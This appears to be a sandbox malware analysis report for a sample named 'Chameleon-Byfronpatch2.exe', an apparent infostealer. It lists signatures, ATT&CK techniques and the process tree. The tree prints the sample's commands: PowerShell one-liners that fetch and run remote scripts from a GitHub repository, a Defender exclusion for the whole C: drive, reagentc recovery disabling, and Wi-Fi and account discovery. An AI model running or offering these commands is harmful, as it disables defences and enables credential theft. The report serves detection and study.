585c788d34f68b6fdc7695d5752e6450ae5f3e2c7dfd0dabaafefc598b29ecdb

Analysis

max time kernel
149s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
13/08/2024, 12:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Chameleon-Byfronpatch2.exe
Size

9.2MB
MD5

addbf6301c1ea797554a0152da23d5ae
SHA1

01a22ed2bb77ff84546147098348a07bc0eecbc6
SHA256

585c788d34f68b6fdc7695d5752e6450ae5f3e2c7dfd0dabaafefc598b29ecdb
SHA512

9507a56c571d1f9ddf67dd9b5200c340416b00bb956c52fa88b8cd2108d5f789cdf5c04d60aa06c5c9bde8bec2e6a324c89435eec57708e1f66fd0a98c767a11
SSDEEP

98304:NLTHcOdLkG6nUDvQlPU68hkY8LdYwTE/zTPy2R0r:mOdLkG9TChA/zLc

Score

9^/10

credential_access discovery evasion execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
14	1644	powershell.exe
15	2364	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4456	powershell.exe
1644	powershell.exe
2364	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Drivers\etc\hosts	Chameleon-Byfronpatch2.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1004	netsh.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
14	raw.githubusercontent.com
15	raw.githubusercontent.com
13	raw.githubusercontent.com

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
4240	ARP.EXE

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2052	netsh.exe
1364	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
5664	NETSTAT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5664	NETSTAT.EXE
3828	ipconfig.exe
1524	ipconfig.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133680247835006670"	chrome.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1656	vlc.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1644	powershell.exe
1644	powershell.exe
2364	powershell.exe
2364	powershell.exe
4456	powershell.exe
4456	powershell.exe
2364	powershell.exe
1644	powershell.exe
4456	powershell.exe
2364	powershell.exe
3464	chrome.exe
3464	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1656	vlc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeIncreaseQuotaPrivilege	2364	powershell.exe
Token: SeSecurityPrivilege	2364	powershell.exe
Token: SeTakeOwnershipPrivilege	2364	powershell.exe
Token: SeLoadDriverPrivilege	2364	powershell.exe
Token: SeSystemProfilePrivilege	2364	powershell.exe
Token: SeSystemtimePrivilege	2364	powershell.exe
Token: SeProfSingleProcessPrivilege	2364	powershell.exe
Token: SeIncBasePriorityPrivilege	2364	powershell.exe
Token: SeCreatePagefilePrivilege	2364	powershell.exe
Token: SeBackupPrivilege	2364	powershell.exe
Token: SeRestorePrivilege	2364	powershell.exe
Token: SeShutdownPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeSystemEnvironmentPrivilege	2364	powershell.exe
Token: SeRemoteShutdownPrivilege	2364	powershell.exe
Token: SeUndockPrivilege	2364	powershell.exe
Token: SeManageVolumePrivilege	2364	powershell.exe
Token: 33	2364	powershell.exe
Token: 34	2364	powershell.exe
Token: 35	2364	powershell.exe
Token: 36	2364	powershell.exe
Token: SeIncreaseQuotaPrivilege	2364	powershell.exe
Token: SeSecurityPrivilege	2364	powershell.exe
Token: SeTakeOwnershipPrivilege	2364	powershell.exe
Token: SeLoadDriverPrivilege	2364	powershell.exe
Token: SeSystemProfilePrivilege	2364	powershell.exe
Token: SeSystemtimePrivilege	2364	powershell.exe
Token: SeProfSingleProcessPrivilege	2364	powershell.exe
Token: SeIncBasePriorityPrivilege	2364	powershell.exe
Token: SeCreatePagefilePrivilege	2364	powershell.exe
Token: SeBackupPrivilege	2364	powershell.exe
Token: SeRestorePrivilege	2364	powershell.exe
Token: SeShutdownPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeSystemEnvironmentPrivilege	2364	powershell.exe
Token: SeRemoteShutdownPrivilege	2364	powershell.exe
Token: SeUndockPrivilege	2364	powershell.exe
Token: SeManageVolumePrivilege	2364	powershell.exe
Token: 33	2364	powershell.exe
Token: 34	2364	powershell.exe
Token: 35	2364	powershell.exe
Token: 36	2364	powershell.exe
Token: SeIncreaseQuotaPrivilege	2364	powershell.exe
Token: SeSecurityPrivilege	2364	powershell.exe
Token: SeTakeOwnershipPrivilege	2364	powershell.exe
Token: SeLoadDriverPrivilege	2364	powershell.exe
Token: SeSystemProfilePrivilege	2364	powershell.exe
Token: SeSystemtimePrivilege	2364	powershell.exe
Token: SeProfSingleProcessPrivilege	2364	powershell.exe
Token: SeIncBasePriorityPrivilege	2364	powershell.exe
Token: SeCreatePagefilePrivilege	2364	powershell.exe
Token: SeBackupPrivilege	2364	powershell.exe
Token: SeRestorePrivilege	2364	powershell.exe
Token: SeShutdownPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeSystemEnvironmentPrivilege	2364	powershell.exe
Token: SeRemoteShutdownPrivilege	2364	powershell.exe
Token: SeUndockPrivilege	2364	powershell.exe
Token: SeManageVolumePrivilege	2364	powershell.exe
Token: 33	2364	powershell.exe
Token: 34	2364	powershell.exe

Suspicious use of FindShellTrayWindow 30 IoCs

pid	Process
1656	vlc.exe
1656	vlc.exe
1656	vlc.exe
1656	vlc.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe

Suspicious use of SendNotifyMessage 27 IoCs

pid	Process
1656	vlc.exe
1656	vlc.exe
1656	vlc.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe
3464	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1656	vlc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 3712	4600	Chameleon-Byfronpatch2.exe	91
PID 4600 wrote to memory of 3712	4600	Chameleon-Byfronpatch2.exe	91
PID 4600 wrote to memory of 4456	4600	Chameleon-Byfronpatch2.exe	93
PID 4600 wrote to memory of 4456	4600	Chameleon-Byfronpatch2.exe	93
PID 4600 wrote to memory of 1644	4600	Chameleon-Byfronpatch2.exe	94
PID 4600 wrote to memory of 1644	4600	Chameleon-Byfronpatch2.exe	94
PID 4600 wrote to memory of 2364	4600	Chameleon-Byfronpatch2.exe	95
PID 4600 wrote to memory of 2364	4600	Chameleon-Byfronpatch2.exe	95
PID 4600 wrote to memory of 1512	4600	Chameleon-Byfronpatch2.exe	98
PID 4600 wrote to memory of 1512	4600	Chameleon-Byfronpatch2.exe	98
PID 4600 wrote to memory of 5908	4600	Chameleon-Byfronpatch2.exe	97
PID 4600 wrote to memory of 5908	4600	Chameleon-Byfronpatch2.exe	97
PID 1512 wrote to memory of 4724	1512	cmd.exe	103
PID 1512 wrote to memory of 4724	1512	cmd.exe	103
PID 2364 wrote to memory of 2420	2364	powershell.exe	104
PID 2364 wrote to memory of 2420	2364	powershell.exe	104
PID 1644 wrote to memory of 392	1644	powershell.exe	105
PID 1644 wrote to memory of 392	1644	powershell.exe	105
PID 392 wrote to memory of 5200	392	csc.exe	106
PID 392 wrote to memory of 5200	392	csc.exe	106
PID 2420 wrote to memory of 1176	2420	csc.exe	107
PID 2420 wrote to memory of 1176	2420	csc.exe	107
PID 2364 wrote to memory of 1364	2364	powershell.exe	112
PID 2364 wrote to memory of 1364	2364	powershell.exe	112
PID 2364 wrote to memory of 3016	2364	powershell.exe	114
PID 2364 wrote to memory of 3016	2364	powershell.exe	114
PID 3016 wrote to memory of 4920	3016	net.exe	115
PID 3016 wrote to memory of 4920	3016	net.exe	115
PID 2364 wrote to memory of 1004	2364	powershell.exe	116
PID 2364 wrote to memory of 1004	2364	powershell.exe	116
PID 2364 wrote to memory of 2372	2364	powershell.exe	117
PID 2364 wrote to memory of 2372	2364	powershell.exe	117
PID 2364 wrote to memory of 5740	2364	powershell.exe	118
PID 2364 wrote to memory of 5740	2364	powershell.exe	118
PID 5740 wrote to memory of 1608	5740	net.exe	119
PID 5740 wrote to memory of 1608	5740	net.exe	119
PID 2364 wrote to memory of 1524	2364	powershell.exe	120
PID 2364 wrote to memory of 1524	2364	powershell.exe	120
PID 2364 wrote to memory of 6064	2364	powershell.exe	121
PID 2364 wrote to memory of 6064	2364	powershell.exe	121
PID 6064 wrote to memory of 5732	6064	net.exe	122
PID 6064 wrote to memory of 5732	6064	net.exe	122
PID 2364 wrote to memory of 4360	2364	powershell.exe	123
PID 2364 wrote to memory of 4360	2364	powershell.exe	123
PID 2364 wrote to memory of 5664	2364	powershell.exe	124
PID 2364 wrote to memory of 5664	2364	powershell.exe	124
PID 2364 wrote to memory of 5036	2364	powershell.exe	125
PID 2364 wrote to memory of 5036	2364	powershell.exe	125
PID 2364 wrote to memory of 3828	2364	powershell.exe	126
PID 2364 wrote to memory of 3828	2364	powershell.exe	126
PID 2364 wrote to memory of 6060	2364	powershell.exe	127
PID 2364 wrote to memory of 6060	2364	powershell.exe	127
PID 2364 wrote to memory of 4240	2364	powershell.exe	128
PID 2364 wrote to memory of 4240	2364	powershell.exe	128
PID 2364 wrote to memory of 2052	2364	powershell.exe	129
PID 2364 wrote to memory of 2052	2364	powershell.exe	129
PID 3464 wrote to memory of 4816	3464	chrome.exe	148
PID 3464 wrote to memory of 4816	3464	chrome.exe	148
PID 3464 wrote to memory of 5480	3464	chrome.exe	149
PID 3464 wrote to memory of 5480	3464	chrome.exe	149
PID 3464 wrote to memory of 5480	3464	chrome.exe	149
PID 3464 wrote to memory of 5480	3464	chrome.exe	149
PID 3464 wrote to memory of 5480	3464	chrome.exe	149
PID 3464 wrote to memory of 5480	3464	chrome.exe	149

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3712	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Chameleon-Byfronpatch2.exe
"C:\Users\Admin\AppData\Local\Temp\Chameleon-Byfronpatch2.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
  2⤵
  - Views/modifies file attributes
  PID:3712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -C "Add-MpPreference -ExclusionPath 'C:'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/defenderstuff.ps1')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ejiiy4fb\ejiiy4fb.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:392
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8894.tmp" "c:\Users\Admin\AppData\Local\Temp\ejiiy4fb\CSCE48DBC54A4945508D6BABFE66FA222.TMP"
      4⤵
      PID:5200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/SysInfo.ps1')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uj0r5gua\uj0r5gua.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2420
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES88A3.tmp" "c:\Users\Admin\AppData\Local\Temp\uj0r5gua\CSCFE2255203BD740078DAFE5E797813139.TMP"
      4⤵
      PID:1176
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1364
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup administrators
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators
      4⤵
      PID:4920
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" advfirewall show allprofiles
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1004
- - C:\Windows\system32\whoami.exe
    "C:\Windows\system32\whoami.exe" /all
    3⤵
    PID:2372
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5740
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1608
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /displaydns
    3⤵
    - Gathers network information
    PID:1524
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6064
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup
      4⤵
      PID:5732
- - C:\Windows\System32\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" startup get command caption
    3⤵
    PID:4360
- - C:\Windows\system32\NETSTAT.EXE
    "C:\Windows\system32\NETSTAT.EXE" -ano
    3⤵
    - System Network Connections Discovery
    - Gathers network information
    PID:5664
- - C:\Windows\System32\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe
    3⤵
    PID:5036
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /all
    3⤵
    - Gathers network information
    PID:3828
- - C:\Windows\system32\ROUTE.EXE
    "C:\Windows\system32\ROUTE.EXE" print
    3⤵
    PID:6060
- - C:\Windows\system32\ARP.EXE
    "C:\Windows\system32\ARP.EXE" -a
    3⤵
    - Network Service Discovery
    PID:4240
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" wlan show profile
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2052
- C:\Windows\system32\reagentc.exe
  reagentc.exe /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:5908
- C:\Windows\system32\cmd.exe
  cmd /c rundll32.exe user32.dll,SwapMouseButton
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\system32\rundll32.exe
    rundll32.exe user32.dll,SwapMouseButton
    3⤵
    PID:4724

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4360,i,2904906934812054273,11716976550456127484,262144 --variations-seed-version --mojo-platform-channel-handle=1424 /prefetch:8
1⤵
PID:1540

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\WriteTrace.mp4v"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:1656

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\FormatUse.bat" "
1⤵
PID:4628

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x31c 0x474
1⤵
PID:4824

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\FormatUse.bat" "
1⤵
PID:6096

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff9ccdbcc40,0x7ff9ccdbcc4c,0x7ff9ccdbcc58
  2⤵
  PID:4816
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1832,i,4257344064641971982,4347123644948236928,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1828 /prefetch:2
  2⤵
  PID:5480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2068,i,4257344064641971982,4347123644948236928,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2124 /prefetch:3
  2⤵
  PID:4124
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2460,i,4257344064641971982,4347123644948236928,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2452 /prefetch:8
  2⤵
  PID:5840
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3172,i,4257344064641971982,4347123644948236928,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3192 /prefetch:1
  2⤵
  PID:5076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3224,i,4257344064641971982,4347123644948236928,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3216 /prefetch:1
  2⤵
  PID:1064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4572,i,4257344064641971982,4347123644948236928,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4596 /prefetch:1
  2⤵
  PID:6060
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4856,i,4257344064641971982,4347123644948236928,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4860 /prefetch:8
  2⤵
  PID:4844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4860,i,4257344064641971982,4347123644948236928,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4952 /prefetch:8
  2⤵
  PID:4528

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:5064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
de6de9456d260ebfef6ab66109059245

SHA1
6eb70c8c230e2154359e0742b773937af20280e7

SHA256
b349d9edde0fe991956b353e6bf7d9f2cc6d9865ff06fffb66b7019bf8b57762

SHA512
9ec32792c467d34afa971c0cf2bb78cc9643318fd0f03269ead0d3a37134523607d6576dc13ec0ce99ffff36598298481d19b612f066e821c02503b1c2031aa9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
7def8fc6d903e2490b3b08409fe6e875

SHA1
648714f3017140d61d8ee6b07283aadd1d91d4ee

SHA256
a9ac90932cb32bb50b051dc34510eb5038f770030c4245d9bf99fd396d711598

SHA512
cdd2e6027d52fb078f951b6eb5a5e617a274340851a1008f783798a33e45d34ddc07021c9b53a17a43f7a0086846b4a871323f77c291ed6181500d859027699a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
